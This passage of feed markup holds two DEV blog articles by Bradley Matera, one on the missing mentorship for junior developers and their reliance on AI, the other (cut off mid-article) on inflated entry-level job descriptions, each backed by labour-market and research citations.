          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            Discover &amp;amp; share this Teamwork GIF by Dubsado with everyone you know. GIPHY is how you search, share, discover, and create GIFs.
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgiphy.com%2Fstatic%2Fimg%2Ffavicon.png" width="16" height="16"&gt;
          giphy.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  Juniors are not supposed to arrive finished
&lt;/h2&gt;

&lt;p&gt;A junior developer is not a discounted senior.&lt;/p&gt;

&lt;p&gt;A junior is a developer with potential, fundamentals in progress, limited production context, and a real need for feedback.&lt;/p&gt;

&lt;p&gt;That should not be controversial. Many companies still act like it is.&lt;/p&gt;

&lt;p&gt;They hire a junior and expect:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;independent delivery&lt;/li&gt;
&lt;li&gt;production debugging&lt;/li&gt;
&lt;li&gt;architectural judgment&lt;/li&gt;
&lt;li&gt;stakeholder communication&lt;/li&gt;
&lt;li&gt;cloud deployment&lt;/li&gt;
&lt;li&gt;test strategy&lt;/li&gt;
&lt;li&gt;security intuition&lt;/li&gt;
&lt;li&gt;codebase navigation&lt;/li&gt;
&lt;li&gt;product sense&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those are learned abilities, not personality traits.&lt;/p&gt;

&lt;p&gt;If the company does not teach them, the company should not be shocked when the junior learns from AI, YouTube, old docs, Stack Overflow, Discord, Reddit, and trial-and-error.&lt;/p&gt;

&lt;h2&gt;
  
  
  The mentorship gap is not mysterious
&lt;/h2&gt;

&lt;p&gt;Good junior development requires slack in the system. Somebody has to have time to teach.&lt;/p&gt;

&lt;p&gt;Someone has to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;explain the codebase&lt;/li&gt;
&lt;li&gt;review PRs with reasoning&lt;/li&gt;
&lt;li&gt;answer questions without making the junior feel stupid&lt;/li&gt;
&lt;li&gt;give scoped tasks&lt;/li&gt;
&lt;li&gt;connect bugs to system concepts&lt;/li&gt;
&lt;li&gt;show how production incidents are handled&lt;/li&gt;
&lt;li&gt;explain trade-offs&lt;/li&gt;
&lt;li&gt;model debugging&lt;/li&gt;
&lt;li&gt;call out risk before it becomes blame&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That takes time. Companies cut that time first.&lt;/p&gt;

&lt;p&gt;Then they complain the pipeline is weak.&lt;/p&gt;

&lt;p&gt;That is not a junior problem. It is a resource allocation problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Psychological safety is not office decor
&lt;/h2&gt;

&lt;p&gt;The research on team learning has been clear for a long time.&lt;/p&gt;

&lt;p&gt;Amy Edmondson's 1999 paper, &lt;a href="https://journals.sagepub.com/doi/pdf/10.2307/2666999" rel="noopener noreferrer"&gt;Psychological Safety and Learning Behavior in Work Teams&lt;/a&gt;, studied 51 work teams and found psychological safety was associated with learning behavior.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-19b4fbd4-91f8-4612-8233-585c2bda17f8" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-19b4fbd4-91f8-4612-8233-585c2bda17f8" alt="Chart: Edmondson's psychological safety study examined 51 work teams" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://journals.sagepub.com/doi/pdf/10.2307/2666999" rel="noopener noreferrer"&gt;Psychological Safety and Learning Behavior in Work Teams&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That matters in engineering because juniors learn by taking small interpersonal risks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"I do not understand this code."&lt;/li&gt;
&lt;li&gt;"I think this bug is deeper than the UI."&lt;/li&gt;
&lt;li&gt;"I used AI to understand the error, but I want to verify it."&lt;/li&gt;
&lt;li&gt;"I do not know whether this is safe."&lt;/li&gt;
&lt;li&gt;"Can you explain why this pattern is preferred?"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If asking those questions gets punished, juniors stop asking.&lt;/p&gt;

&lt;p&gt;Then seniors say juniors are quiet, passive, or not curious.&lt;/p&gt;

&lt;p&gt;That is the predictable result of a team that punishes learning out loud.&lt;/p&gt;

&lt;h2&gt;
  
  
  AI fills the space mentorship left open
&lt;/h2&gt;

&lt;p&gt;Stack Overflow's 2025 Developer Survey says 44% of developers used AI-enabled tools to learn coding techniques or a new language. [&lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow AI survey&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;GitHub's Octoverse 2025 report says nearly 80% of new developers on GitHub used Copilot within their first week. [&lt;a href="https://github.blog/news-insights/octoverse/octoverse-a-new-developer-joins-github-every-second-as-ai-leads-typescript-to-1/" rel="noopener noreferrer"&gt;GitHub Octoverse 2025&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-2f39b837-f670-4a89-aff6-3bab69fe5190" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-2f39b837-f670-4a89-aff6-3bab69fe5190" alt="Chart: Developer AI adoption and learning signals, including Stack Overflow AI learning use and GitHub Copilot first-week usage for new developers" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sources: &lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow 2025 Developer Survey&lt;/a&gt; and &lt;a href="https://github.blog/news-insights/octoverse/octoverse-a-new-developer-joins-github-every-second-as-ai-leads-typescript-to-1/" rel="noopener noreferrer"&gt;GitHub Octoverse 2025&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This is the part senior engineers need to take seriously: AI is not only being used to generate code.&lt;/p&gt;

&lt;p&gt;It is being used because juniors need explanations and often cannot get them from people.&lt;/p&gt;

&lt;p&gt;AI answers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What is this error?&lt;/li&gt;
&lt;li&gt;What does this SQL join do?&lt;/li&gt;
&lt;li&gt;Why is this React state stale?&lt;/li&gt;
&lt;li&gt;What is a race condition?&lt;/li&gt;
&lt;li&gt;How do I write a test for this?&lt;/li&gt;
&lt;li&gt;What should I ask in code review?&lt;/li&gt;
&lt;li&gt;What edge cases might I be missing?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That does not make AI a mentor. It makes AI the thing juniors reach for when the actual mentor is unavailable.&lt;/p&gt;

&lt;h2&gt;
  
  
  The old learning culture had shortcuts too
&lt;/h2&gt;

&lt;p&gt;It is dishonest to act like older developers learned only through deep first-principles study.&lt;/p&gt;

&lt;p&gt;Previous generations used:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Stack Overflow answers&lt;/li&gt;
&lt;li&gt;snippets from blogs&lt;/li&gt;
&lt;li&gt;copied config files&lt;/li&gt;
&lt;li&gt;starter templates&lt;/li&gt;
&lt;li&gt;WordPress themes&lt;/li&gt;
&lt;li&gt;Bootstrap examples&lt;/li&gt;
&lt;li&gt;jQuery plugins&lt;/li&gt;
&lt;li&gt;internal code copied from older services&lt;/li&gt;
&lt;li&gt;tutorials that skipped production concerns&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some developers learned deeply through those shortcuts. Some cargo-culted them.&lt;/p&gt;

&lt;p&gt;That same distinction matters with AI.&lt;/p&gt;

&lt;p&gt;The question is not:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Did the junior use outside help?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The question is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Did the junior build understanding?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Review the thinking, not just the diff
&lt;/h2&gt;

&lt;p&gt;A senior who wants better juniors should stop reviewing only the final diff. Review the thinking.&lt;/p&gt;

&lt;p&gt;Ask:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Review question&lt;/th&gt;
&lt;th&gt;What it teaches&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;What problem is this solving?&lt;/td&gt;
&lt;td&gt;Product framing.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What did you try first?&lt;/td&gt;
&lt;td&gt;Debugging process.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What did AI suggest that you rejected?&lt;/td&gt;
&lt;td&gt;Judgment.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What edge case worries you?&lt;/td&gt;
&lt;td&gt;Risk awareness.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What test proves this behavior?&lt;/td&gt;
&lt;td&gt;Verification.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What part of this system do you still not understand?&lt;/td&gt;
&lt;td&gt;Learning path.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That is how review becomes mentorship.&lt;/p&gt;

&lt;p&gt;Without that, review becomes a gate. Gates do not create seniors. Mentorship does.&lt;/p&gt;

&lt;h2&gt;
  
  
  AI dependence is a real risk
&lt;/h2&gt;

&lt;p&gt;There is a real danger in AI-assisted learning.&lt;/p&gt;

&lt;p&gt;The paper &lt;em&gt;The Widening Gap&lt;/em&gt; found that generative AI can help novice programmers, but weaker students may struggle more to ignore incorrect or unhelpful suggestions. [&lt;a href="https://arxiv.org/abs/2405.17739" rel="noopener noreferrer"&gt;The Widening Gap&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;A 2025 systematic review on GenAI and code comprehension found that AI explanations can support comprehension, but can also be inaccurate or difficult for novices to evaluate. [&lt;a href="https://arxiv.org/abs/2510.17894" rel="noopener noreferrer"&gt;Code comprehension SLR&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;That means teams should not tell juniors:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Just use AI."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;They should teach:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;how to verify generated output&lt;/li&gt;
&lt;li&gt;how to compare against docs&lt;/li&gt;
&lt;li&gt;how to write tests&lt;/li&gt;
&lt;li&gt;how to reject confident wrong answers&lt;/li&gt;
&lt;li&gt;how to disclose meaningful AI assistance&lt;/li&gt;
&lt;li&gt;when to ask a human&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is modern mentorship. Not nostalgia. Not tool panic.&lt;/p&gt;

&lt;h2&gt;
  
  
  The management failure nobody wants to own
&lt;/h2&gt;

&lt;p&gt;Many companies removed the apprenticeship layer and replaced it with vibes.&lt;/p&gt;

&lt;p&gt;They have:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;no onboarding map&lt;/li&gt;
&lt;li&gt;no junior-safe backlog&lt;/li&gt;
&lt;li&gt;no mentor capacity&lt;/li&gt;
&lt;li&gt;no documentation budget&lt;/li&gt;
&lt;li&gt;no pairing culture&lt;/li&gt;
&lt;li&gt;no AI policy&lt;/li&gt;
&lt;li&gt;no explicit progression rubric&lt;/li&gt;
&lt;li&gt;no time for seniors to teach&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then they ask:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Why are juniors not ready?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Because nobody built readiness. That is the answer.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a real junior pipeline looks like
&lt;/h2&gt;

&lt;p&gt;A serious junior pipeline does not need to be fancy. It needs to be intentional.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timeframe&lt;/th&gt;
&lt;th&gt;What should happen&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Week 1&lt;/td&gt;
&lt;td&gt;Environment setup, product overview, first docs fix, mentor assigned.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Month 1&lt;/td&gt;
&lt;td&gt;Small bug fixes, guided PRs, test-writing practice, codebase map.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Month 2&lt;/td&gt;
&lt;td&gt;Slightly larger feature work with review checkpoints.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Month 3&lt;/td&gt;
&lt;td&gt;Limited ownership of a small surface area.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Month 6&lt;/td&gt;
&lt;td&gt;Participation in production support with shadowing.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Month 12&lt;/td&gt;
&lt;td&gt;Clear evaluation for mid-level readiness.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That is not charity. That is workforce development.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-34d7cb50-ab24-47cf-a36a-70f8d8d9f4db" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-34d7cb50-ab24-47cf-a36a-70f8d8d9f4db" alt="Chart: A realistic junior ramp grows scope from week one through month twelve" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: Author framework for staged junior onboarding.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Bottom line
&lt;/h2&gt;

&lt;p&gt;Senior engineers are allowed to expect rigor. They are not allowed to pretend rigor appears without teaching.&lt;/p&gt;

&lt;p&gt;If juniors use AI badly, correct the behavior.&lt;/p&gt;

&lt;p&gt;If juniors use AI to learn, review the learning.&lt;/p&gt;

&lt;p&gt;If juniors cannot explain their code, teach them how to explain it.&lt;/p&gt;

&lt;p&gt;But stop acting like the new generation failed a system that the old generation forgot to maintain.&lt;/p&gt;

&lt;p&gt;The next senior engineers will not appear by accident. Somebody has to build them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/tags/career" class="crayons-btn crayons-btn--primary"&gt;Interested in mentorship, junior developers, and engineering culture? Explore #career on DEV.&lt;/a&gt;
&lt;/p&gt;

</description>
      <category>ai</category>
      <category>hiring</category>
      <category>career</category>
      <category>mentorship</category>
    </item>
    <item>
      <title>Entry-Level Job Descriptions Are Becoming Broken Product Specs</title>
      <dc:creator>Bradley Matera</dc:creator>
      <pubDate>Wed, 29 Apr 2026 22:33:15 +0000</pubDate>
      <link>https://forem.com/bradleymatera/entry-level-job-descriptions-are-becoming-broken-product-specs-hgc</link>
      <guid>https://forem.com/bradleymatera/entry-level-job-descriptions-are-becoming-broken-product-specs-hgc</guid>
      <description>&lt;p&gt;A lot of "entry-level developer" job descriptions are not entry-level.&lt;/p&gt;

&lt;p&gt;They are broken product specs.&lt;/p&gt;

&lt;p&gt;They ask for one person to build frontend features, debug backend APIs, write SQL, manage cloud infrastructure, understand CI/CD, test everything, talk to stakeholders, support production, know security basics, and somehow still be "junior."&lt;/p&gt;

&lt;p&gt;That is not an entry-level role.&lt;/p&gt;

&lt;p&gt;That is a company trying to buy a small engineering team at junior pricing.&lt;/p&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://giphy.com/gifs/Biteable-biteable-biteableanimation-humanresources-KQzmhm1sowxyxU6e3v" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExenE3d2R5ajAzczdtbndxcnJ2czN4YnE0Y2Nsc2thdm1qOWtzMGt1YSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FKQzmhm1sowxyxU6e3v%2Fgiphy.webp" height="270" class="m-0" width="480"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://giphy.com/gifs/Biteable-biteable-biteableanimation-humanresources-KQzmhm1sowxyxU6e3v" rel="noopener noreferrer" class="c-link"&gt;
            Animation Hiring GIF by Biteable - Find &amp;amp; Share on GIPHY
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            Discover &amp;amp; share this Animation Hiring GIF by Biteable with everyone you know. GIPHY is how you search, share, discover, and create GIFs.
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgiphy.com%2Fstatic%2Fimg%2Ffavicon.png" width="16" height="16"&gt;
          giphy.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  The market is saying two things at once
&lt;/h2&gt;

&lt;p&gt;The long-term outlook for software developers is still strong.&lt;/p&gt;

&lt;p&gt;The U.S. Bureau of Labor Statistics projects software developer employment to grow 15.8% from 2024 to 2034, adding 267,700 jobs. [&lt;a href="https://www.bls.gov/opub/mlr/2026/article/industry-and-occupational-employment-projections-overview.htm" rel="noopener noreferrer"&gt;BLS projections&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-e8590180-bec4-483b-b024-1505f77206c0" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-e8590180-bec4-483b-b024-1505f77206c0" alt="Chart: BLS projects software developer employment growing from about 1.69 million jobs in 2024 to about 1.96 million jobs in 2034" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://www.bls.gov/opub/mlr/2026/article/industry-and-occupational-employment-projections-overview.htm" rel="noopener noreferrer"&gt;BLS employment projections&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;But the entry point is getting narrower.&lt;/p&gt;

&lt;p&gt;Indeed Hiring Lab reported that from Q2 2022 to Q2 2025, the share of tech job postings asking for at least five years of experience rose from 37% to 42%. The report specifically notes that the environment became more challenging for entry-level and early-career tech job seekers. [&lt;a href="https://www.hiringlab.org/2025/07/30/experience-requirements-have-tightened-amid-the-tech-hiring-freeze/" rel="noopener noreferrer"&gt;Indeed Hiring Lab&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-fd6e909d-1f7f-4b4f-8a83-b33e07070c37" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-fd6e909d-1f7f-4b4f-8a83-b33e07070c37" alt="Chart: Tech job postings asking for at least five years of experience rose from 37% in Q2 2022 to 42% in Q2 2025" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://www.hiringlab.org/2025/07/30/experience-requirements-have-tightened-amid-the-tech-hiring-freeze/" rel="noopener noreferrer"&gt;Indeed Hiring Lab&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That creates a broken labor-market shape:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;software work is projected to grow&lt;/li&gt;
&lt;li&gt;companies still need engineers&lt;/li&gt;
&lt;li&gt;job postings increasingly favor experienced candidates&lt;/li&gt;
&lt;li&gt;juniors are told to "get experience" before anyone will give them experience&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is not just a candidate-quality problem. It is a pipeline design problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  The imaginary junior candidate
&lt;/h2&gt;

&lt;p&gt;Here is a common bad hiring pattern:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Requirement&lt;/th&gt;
&lt;th&gt;Why it is a red flag for "junior"&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;3-5 years of production experience&lt;/td&gt;
&lt;td&gt;That is not entry-level.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;React, Node, Python, SQL, AWS, Docker, Kubernetes&lt;/td&gt;
&lt;td&gt;That is a platform surface, not a junior scope.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Own features end to end&lt;/td&gt;
&lt;td&gt;Ownership requires support and context.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Build and maintain CI/CD&lt;/td&gt;
&lt;td&gt;That is DevOps/platform work.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Understand security best practices&lt;/td&gt;
&lt;td&gt;Reasonable as learning goal, unrealistic as solo owner.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Work independently from day one&lt;/td&gt;
&lt;td&gt;That means the company does not plan to mentor.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Excellent UI/UX instincts&lt;/td&gt;
&lt;td&gt;That is a design skill, not automatically a dev skill.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Support production incidents&lt;/td&gt;
&lt;td&gt;Fine with backup, reckless without it.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;There is nothing wrong with wanting broad engineers.&lt;/p&gt;

&lt;p&gt;There is something wrong with calling that role "entry-level" while refusing to say what the company will teach.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-29a1f4cb-737d-4bd4-8005-2ab0e693ea0e" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-29a1f4cb-737d-4bd4-8005-2ab0e693ea0e" alt="Chart: Illustrative comparison showing how a bad junior posting can quietly imply three to five years of production experience" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: Illustrative role-scope comparison based on the job-description pattern discussed in this article, not a market-wide statistic.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Skills-based hiring can still be lazy
&lt;/h2&gt;

&lt;p&gt;NACE's Job Outlook 2026 data shows employer use of skills-based hiring is growing for entry-level roles. [&lt;a href="https://www.naceweb.org/job-market/trends-and-predictions/employer-use-of-skills-based-hiring-practices-grows" rel="noopener noreferrer"&gt;NACE&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;In theory, that is good. Skills-based hiring can reduce overreliance on degrees, school prestige, and GPA filters.&lt;/p&gt;

&lt;p&gt;But in practice, it can become a new version of the same problem:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Show us evidence you already performed the job we refuse to train you for."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A portfolio project is useful.&lt;/p&gt;

&lt;p&gt;A take-home project can be useful.&lt;/p&gt;

&lt;p&gt;A technical screen can be useful.&lt;/p&gt;

&lt;p&gt;But none of those prove a junior can safely own ambiguous production work without mentorship.&lt;/p&gt;

&lt;p&gt;They prove the candidate can complete an assessment under artificial constraints.&lt;/p&gt;

&lt;p&gt;Companies confuse those things constantly.&lt;/p&gt;

&lt;h2&gt;
  
  
  AI is now another requirement
&lt;/h2&gt;

&lt;p&gt;Handshake's research on the Class of 2026 in the AI economy found that 70% of hiring leaders say AI will change entry-level role requirements. [&lt;a href="https://joinhandshake.com/blog/employers/what-does-ai-mean-for-early-talent-pipeline/" rel="noopener noreferrer"&gt;Handshake&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-46c4a4ed-1f94-4084-bdb6-b06f85a267d5" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-46c4a4ed-1f94-4084-bdb6-b06f85a267d5" alt="Chart: 70% of hiring leaders say AI will change entry-level role requirements" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://joinhandshake.com/blog/employers/what-does-ai-mean-for-early-talent-pipeline/" rel="noopener noreferrer"&gt;Handshake Class of 2026 AI economy research&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That is probably true. It also raises the question companies keep dodging:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Are companies teaching AI-assisted engineering, or are they just adding AI to the list of things juniors are supposed to magically know?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The industry already expects juniors to understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Git&lt;/li&gt;
&lt;li&gt;testing&lt;/li&gt;
&lt;li&gt;APIs&lt;/li&gt;
&lt;li&gt;databases&lt;/li&gt;
&lt;li&gt;frontend frameworks&lt;/li&gt;
&lt;li&gt;deployment basics&lt;/li&gt;
&lt;li&gt;security basics&lt;/li&gt;
&lt;li&gt;agile workflow&lt;/li&gt;
&lt;li&gt;product communication&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now add:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;prompt literacy&lt;/li&gt;
&lt;li&gt;AI code review&lt;/li&gt;
&lt;li&gt;tool privacy&lt;/li&gt;
&lt;li&gt;generated-code risk&lt;/li&gt;
&lt;li&gt;model limitations&lt;/li&gt;
&lt;li&gt;agent workflows&lt;/li&gt;
&lt;li&gt;AI policy compliance&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is a real skill stack. It needs training.&lt;/p&gt;

&lt;h2&gt;
  
  
  Older developers used shortcuts too
&lt;/h2&gt;

&lt;p&gt;Older developers often criticize juniors for using AI as if previous generations learned from pure fundamentals alone.&lt;/p&gt;

&lt;p&gt;That is not what happened.&lt;/p&gt;

&lt;p&gt;Previous generations learned through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Stack Overflow answers&lt;/li&gt;
&lt;li&gt;blog snippets&lt;/li&gt;
&lt;li&gt;jQuery plugins&lt;/li&gt;
&lt;li&gt;Bootstrap templates&lt;/li&gt;
&lt;li&gt;WordPress themes&lt;/li&gt;
&lt;li&gt;forum posts&lt;/li&gt;
&lt;li&gt;copied config files&lt;/li&gt;
&lt;li&gt;outdated but useful tutorials&lt;/li&gt;
&lt;li&gt;internal code copied from another service&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The issue was never "did the developer use outside help?"&lt;/p&gt;

